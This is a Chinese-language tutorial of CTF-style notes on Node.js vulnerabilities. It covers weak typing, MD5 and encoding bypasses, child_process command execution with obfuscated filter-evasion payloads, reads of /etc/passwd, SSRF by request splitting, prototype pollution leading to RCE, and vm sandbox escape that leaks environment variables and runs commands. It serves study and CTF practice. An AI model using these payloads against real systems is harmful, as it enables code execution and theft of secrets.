NodeJS

0x01 Node.JS 基础

1.1 简单介绍

Node.js 就是运行在服务端的 JavaScript
Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台
Node.js 是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好

1.2 基础漏洞

1.2.1 大小写特性

1
2
toUpperCase()  
toLowerCase()

1.2.2 弱类型

1. 大小比较
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 数字与字符串
console.log(1=='1'); //true
console.log(1>'2'); //false
console.log('1'<'2'); //true
console.log(111>'3'); //true

// 字符串与字符串
console.log('111'>'3'); //false
console.log('asd'>1); //false

// 数组
console.log([]==[]); //false
console.log([]>[]); //false

console.log([6,2]>[5]); //true
console.log([100,2]<'test'); //true
console.log([1,2]<'2'); //true
console.log([11,16]<"10"); //false
  1. 数字与字符串比较时,会优先将纯数字型字符串转为数字之后再进行比较
  2. 字符串与字符串比较时,会将字符串的第一个字符转为ASCII码之后再进行比较
  3. 非数字型字符串与任何数字进行比较都是false
  4. 空数组之间比较永远为false
  5. 数组之间比较只比较数组间的第一个值,对第一个值采用前面总结的比较方法,数组与非数值型字符串比较,数组永远小于非数值型字符串
  6. 数组与数值型字符串比较,取第一个之后按前面总结的方法进行比较
2. 相等
1
2
3
4
console.log(null==undefined) // 输出:true 
console.log(null===undefined) // 输出:false
console.log(NaN==NaN) // 输出:false
console.log(NaN===NaN) // 输出:false
3. 拼接
1
2
3
4
console.log(5+[6,6]); //56,3 
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6

1.2.3 MD5 绕过

1
2
3
a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)

a[x]=1&b[x]=2

数组会被解析成[object Object]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
a={'2':'1'}
b={'y':'2'}
var c = {
'2': '1',
'3': '2'
};

console.log(a+"flag{choco}")
console.log(b+"flag{choco}")
console.log(c+"flag{choco}")

>> [object Object]flag{choco}
>> [object Object]flag{choco}
>> [object Object]flag{choco}



a=[1]
b=[2]

console.log(a+"flag{choco}")
console.log(b+"flag{choco}")

>> 1flag{choco}
>> 2flag{choco}

1.2.4 编码绕过

16进制编码

1
console.log("a"==="\x61"); // true

unicode编码

1
console.log("\u0061"==="a"); // true

base编码

1
eval(Buffer.from('Y29uc29sZS5sb2coImhhaGFoYWhhIik7','base64').toString())

1.3 函数利用

1.3.1 命令执行

1. exec( )
1
require('child_process').exec('open /System/Applications/Calculator.app');
2. eval( )
1
2
3
4
5
6
7
8
9
10
11
12
require('child_process').execSync('ls').toString();
require('child_process').spawnSync('cat',['fl00g.txt']).output;
require('child_process').spawnSync('cat',['fl00g.txt']).stdout;
global.process.mainModule.constructor._load('child_process').exec('ls');

//文件操作
require('fs').readdirSync('.');
require('fs').readFileSync('fl00g.txt')


console.log(eval("document.cookie")); //执行document.cookie
console.log("document.cookie"); //输出document.cookie

1.3.2 nodejs危险函数-文件读写

1.

readFileSync()

1
2
3
4
require('fs').readFile('/etc/passwd', 'utf-8', (err, data) => {
if (err) throw err;
console.log(data);
});

readFile()

1
require('fs').readFileSync('/etc/passwd','utf-8')
2.

writeFileSync()

1
require('fs').writeFileSync('input.txt','sss');

writeFile()

1
require('fs').writeFile('input.txt','test',(err)=>{})

1.3.3 RCE bypass

bypass

1. 原型:
1
require("child_process").execSync('cat flag.txt')
2. 字符拼接:
1
2
3
4
require("child_process")['exe'%2b'cSync']('cat flag.txt')
//(%2b就是+的url编码)

require('child_process')["exe".concat("cSync")]("open /System/Applications/Calculator.app/")
3. 编码绕过:
1
2
3
require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('cat flag.txt')
require("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]('cat fl001g.txt')
eval(Buffer.from('cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCdvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwLycpOw==','base64').toString()) //弹计算器
4. 模板拼接:
1
require("child_process")[`${`${`exe`}cSync`}`]('open /System/Applications/Calculator.app/'

其他函数:

1
2
3
4
5
6
require("child_process").exec("sleep 3"); 
require("child_process").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); *//调用某个可执行文件,在第二个参数传args*
require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);
require("child_process").execFileSync('sleep', ['3']);

1.4 nodejs中的ssrf

通过拆分攻击实现的SSRF攻击
request splitting

1.4.1 成因

虽然用户发出的 http 请求通常将请求路径指定为字符串,但Node.js 最终必须将请求作为原始字节输出。

JavaScript支持 unicode 字符串,因此将它们转换为字节意味着选择并应用适当的unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符。相反,这些字符被截断为其JavaScript表示的最低字节

1.4.2 拆分请求

如果服务器未正确验证用户输入,则攻击者可能会直接注入 协议控制字符 到请求里。假设在这种情况下服务器接受了以下用户输入:

1
2
3
4
5
6
7
8
9
"x HTTP/1.1\r\n\r\nDELETE /private-api HTTP/1.1\r\n"

// 在发出请求时,服务器可能会直接将其写入路径


GET /private-api?q=x HTTP/1.1

DELETE /private-api
Authorization: server-secret-key

接收服务将此解释为两个单独的HTTP请求,一个GET后跟一个DELETE,它无法知道调用者的意图。
实际上,这种精心构造的用户输入会欺骗服务器,使其发出额外的请求,“SSRF”。
服务器可能拥有攻击者不具有的权限,例如访问内网或者秘密api密钥
通过拆分攻击实现的SSRF攻击 - 先知社区 (aliyun.com)

1.4.3 SSRF 漏洞

上述的处理unicode字符错误意味着可以规避这些措施。考虑如下的URL,其中包含一些带变音符号的unicode字符:

1
2
> 'http://example.com/\u{010D}\u{010A}/test'
http://example.com/čĊ/test

当Node.js版本8或更低版本对此URL发出GET请求时,它不会进行转义,因为它们不是HTTP控制字符:

1
2
> http.get('http://example.com/\u010D\u010A/test').output
[ 'GET /čĊ/test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' ]

但是当结果字符串被编码为latin1写入路径时,这些字符将分别被截断为“\r”和“\n”:

1
2
> Buffer.from('http://example.com/\u{010D}\u{010A}/test', 'latin1').toString()
'http://example.com/\r\n/test'

因此,通过在请求路径中包含精心选择的unicode字符,攻击者可以欺骗Node.js将HTTP协议控制字符写入线路。

这个bug已经在Node.js10中被修复,如果请求路径包含非ascii字符,则会抛出错误。但是对于Node.js8或更低版本,如果有下列情况,任何发出传出HTTP请求的服务器都可能受到通过请求拆实现的SSRF的攻击:

  • 接受来自用户输入的unicode数据
  • 并将其包含爱HTTP请求的路径中
  • 且请求具有一个0长度的主体(比如一个GET或者DELETE

0x02 nodejs原型链污染

浅析CTF中的Node.js原型链污染 - FreeBuf网络安全行业门户

2.1 原型链

当谈到继承时,JavaScript 只有一种结构:对象。

每个对象 object 都有一个私有属性指向另一个名为 原型 prototype 的对象。
原型对象也有一个自己的原型,层层向上直到一个对象的原型为 null。根据定义,null 没有原型,并作为这个 原型链 prototype chain 中的最后一个环节。可以改变原型链中的任何成员,甚至可以在运行时换出原型

2.1.1 基于原型链的继承

JavaScript 对象是动态的属性包

JavaScript 对象有一个指向一个原型对象的链
当试图访问一个对象的属性时,它不仅仅在该对象上搜寻,还会搜寻该对象的原型,以及原型的原型,依次层层向上搜索,直到找到一个名字匹配的属性或到达原型链的末尾。

1. 属性继承
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
const o = {
a: 1,
b: 2,
// __proto__ 设置了 [[Prototype]]。它在这里被指定为另一个对象字面量。
__proto__: {
b: 3,
c: 4,
},
};

// o.[[Prototype]] 具有属性 b 和 c。
// o.[[Prototype]].[[Prototype]] 是 Object.prototype(我们会在下文解释其含义)。
// 最后,o.[[Prototype]].[[Prototype]].[[Prototype]] 是 null。
// 这是原型链的末尾,值为 null,
// 根据定义,其没有 [[Prototype]]。
// 因此,完整的原型链看起来像这样:
// { a: 1, b: 2 } ---> { b: 3, c: 4 } ---> Object.prototype ---> null

console.log(o.a);
>> 1
// o 上有自有属性“a”吗?有,且其值为 1。

console.log(o.b);
>> 2
// o 上有自有属性“b”吗?有,且其值为 2。
// 原型也有“b”属性,但其没有被访问。
// 这被称为属性遮蔽(Property Shadowing)

console.log(o.c);
>> 4
// o 上有自有属性“c”吗?没有,检查其原型。
// o.[[Prototype]] 上有自有属性“c”吗?有,其值为 4。

console.log(o.d);
>> undefined
// o 上有自有属性“d”吗?没有,检查其原型。
// o.[[Prototype]] 上有自有属性“d”吗?没有,检查其原型。
// o.[[Prototype]].[[Prototype]] 是 Object.prototype 且
// 其默认没有“d”属性,检查其原型。
// o.[[Prototype]].[[Prototype]].[[Prototype]] 为 null,停止搜索,
// 未找到该属性,返回 undefined。

2. 方法继承

在 JavaScript 中,任何函数都被可以添加到对象上作为其属性。函数的继承与其他属性的继承没有差别

当继承的函数被调用时,this 值指向的是当前继承的对象,而不是拥有该函数属性的原型对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
const parent = {
value: 2,
method() {
return this.value + 1;
},
};

console.log(parent.method());
>> 3
// 当调用 parent.method 时,“this”指向了 parent

// child 是一个继承了 parent 的对象
const child = {
__proto__: parent,
};
console.log(child.method());
>> 3
// 调用 child.method 时,“this”指向了 child。
// 又因为 child 继承的是 parent 的方法,
// 首先在 child 上寻找“value”属性。但由于 child 本身
// 没有名为“value”的自有属性,该属性会在
// [[Prototype]] 上被找到,即 parent.value。

child.value = 4; // 在 child,将“value”属性赋值为 4。
// 这会遮蔽 parent 上的“value”属性。
// child 对象现在看起来是这样的:
// { value: 4, __proto__: { value: 2, method: [Function] } }
console.log(child.method());
>> 5
// 因为 child 现在拥有“value”属性,“this.value”现在表示
// child.value

2.1.2 构造函数

1
2
3
4
5
6
7
8
9
10
class Box {
constructor(value) {
this.value = value;
}

// 在 Box.prototype 上创建方法
getValue() {
return this.value;
}
}

2.1.3 构建更长的继承链

Constructor.prototype 属性将成为构造函数实例的 [[Prototype]],包括 Constructor.prototype 自身的 [[Prototype]]。默认情况下,Constructor.prototype 是一个_普通对象_——即 Object.getPrototypeOf(Constructor.prototype) === Object.prototype

唯一的例外是 Object.prototype 本身,其 [[Prototype]] 是 null——即 Object.getPrototypeOf(Object.prototype) === null。因此,一个典型的构造函数将构建以下原型链:

1
2
3
4
function Constructor() {}

const obj = new Constructor();
// obj ---> Constructor.prototype ---> Object.prototype ---> null

要构建更长的原型链,我们可用通过 Object.setPrototypeOf() 函数设置 Constructor.prototype 的 [[Prototype]]

1
2
3
4
5
6
7
8
function Base() {}
function Derived() {}
// 将 `Derived.prototype` 的 `[[Prototype]]`
// 设置为 `Base.prototype`
Object.setPrototypeOf(Derived.prototype, Base.prototype);

const obj = new Derived();
// obj ---> Derived.prototype ---> Base.prototype ---> Object.prototype ---> null

在类的术语中,这等同于使用 extends 语法。

1
2
3
4
5
class Base {}
class Derived extends Base {}

const obj = new Derived();
// obj ---> Derived.prototype ---> Base.prototype ---> Object.prototype ---> null

你可能还会看到一些使用 Object.create() 来构建继承链的旧代码。然而,因为这会重新为 prototype 属性赋值并删除 constructor 属性,所以更容易出错,而且如果构造函数还没有创建任何实例,性能提升可能并不明显。

2.2 原型链污染

原型链

2.2.1 __ proto__ 和 prototype

JavaScript 中,每个对象都有一个名为 __proto__ 的内置属性,它指向该对象的原型。同时,每个函数也都有一个名为 prototype 的属性,它是一个对象,包含构造函数的原型对象应该具有的属性和方法。简单来说,__proto__ 属性是指向该对象的原型,而 prototype 属性是用于创建该对象的构造函数的原型(类)

prototype是类Person的一个属性,所有用类Person进行实例化的对象,都会拥有prototype的全部内容。

我们实例化出来的person1对象,它是不能通过prototype访问原型的,但通过__proto__就可以实现访问Person原型

2.2.2 污染

在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是 原型链污染

利用 copy , merge 等函数可以导致原型链污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function merge(target, source) {
for (let key in source) {
if (source.hasOwnProperty(key)) {
if (typeof source[key] === 'object' && source[key] !== null && !Array.isArray(source[key])) {
if (!target[key] || typeof target[key] !== 'object' || Array.isArray(target[key])) {
target[key] = {};
}
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
}

let o1 = {};
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}');

//JSON.parse 避免继承链时将__proto__作为一个键值而不是原型


merge(o1, o2);
console.log(o1.a, o1.b);

let o3 = {};
console.log(o3.b); // undefined, since o3 does not have property 'b'

2.2.3 原型链污染配合RCE

有原型链污染的前提之下,我们可以控制基类的成员,赋值为一串恶意代码,从而造成代码注入。

1
2
3
4
5
6
7
8
9
10
11
let foo = {bar: 1}

console.log(foo.bar)

foo.__proto__.bar = 'require(\'child_process\').execSync(\'open /System/Applications/Calculator.app/\');'

console.log(foo.bar)

let zoo = {}

console.log(eval(zoo.bar))

0x03 vm沙箱逃逸

vm是用来实现一个沙箱环境,可以安全的执行不受信任的代码而不会影响到主程序。但是可以通过构造语句来进行逃逸:

1
2
3
const vm = require("vm");
const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(env);

执行之后可以获取到主程序环境中的环境变量

  1. vm 模块:Node.js 的 vm 模块提供了一个沙箱环境来执行代码。这使得你可以在受限的环境中运行脚本。

  2. 创建脚本

    javascript复制代码

    const script = new vm.Script("this.constructor.constructor('return this.process.env')()");

    • new vm.Script(...) 创建一个新的 Script 实例,这里的脚本字符串是 "this.constructor.constructor('return this.process.env')()"
    • this.constructor.constructor 访问了 Function 构造函数,这是一个绕过普通沙箱限制的技巧。正常情况下,这种方式可以用来执行任意代码。
  3. 脚本运行上下文

    javascript复制代码

    const context = vm.createContext(sandbox);

    • vm.createContext(sandbox) 创建了一个新的沙箱上下文,sandbox 是一个空对象。这个上下文提供了代码执行的环境。
  4. 执行脚本

    javascript复制代码

    env = script.runInContext(context);

    • script.runInContext(context) 在上面创建的沙箱上下文中执行脚本。
    • 脚本的内容 this.constructor.constructor('return this.process.env')() 通过 Function 构造函数创建了一个新的函数,该函数返回 this.process.env
  5. 脚本解析

    • this 在沙箱上下文中指向 sandbox 对象。
    • this.constructor 是 sandbox 对象的构造函数,通常指向 Object
    • this.constructor.constructor 则是 Function 构造函数。Function 构造函数允许执行传入的字符串作为代码。
    • ('return this.process.env')() 创建了一个新的函数并立即执行它,返回 this.process.env
  6. 输出环境变量

    javascript复制代码

    console.log(env);

    • 最终,console.log(env) 打印出 process.env,即当前运行环境的所有环境变量。

上面例子的代码等价于如下代码:

1
2
3
4
5
6
7
8
const vm = require('vm');
const sandbox = {};

const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
const context = vm.createContext(sandbox);

env = script.runInContext(context);
console.log(env);

创建vm环境时,首先要初始化一个对象 sandbox,这个对象就是vm中脚本执行时的全局环境context,vm 脚本中全局 this 指向的就是这个对象

因为this.constructor.constructor返回的是一个Function constructor,所以可以利用Function对象构造一个函数并执行。(此时Function对象的上下文环境是处于主程序中的) 这里构造的函数内的语句是return this.process.env,结果是返回了主程序的环境变量

配合chile_process.exec()就可以执行任意命令了

1
2
3
4
const vm = require("vm");
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()`);
console.log(env);

mongo-express RCE(CVE-2019-10758)漏洞就是配合vm沙箱逃逸来利用的。
具体分析可参考:CVE-2019-10758:mongo-expressRCE复现分析

深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)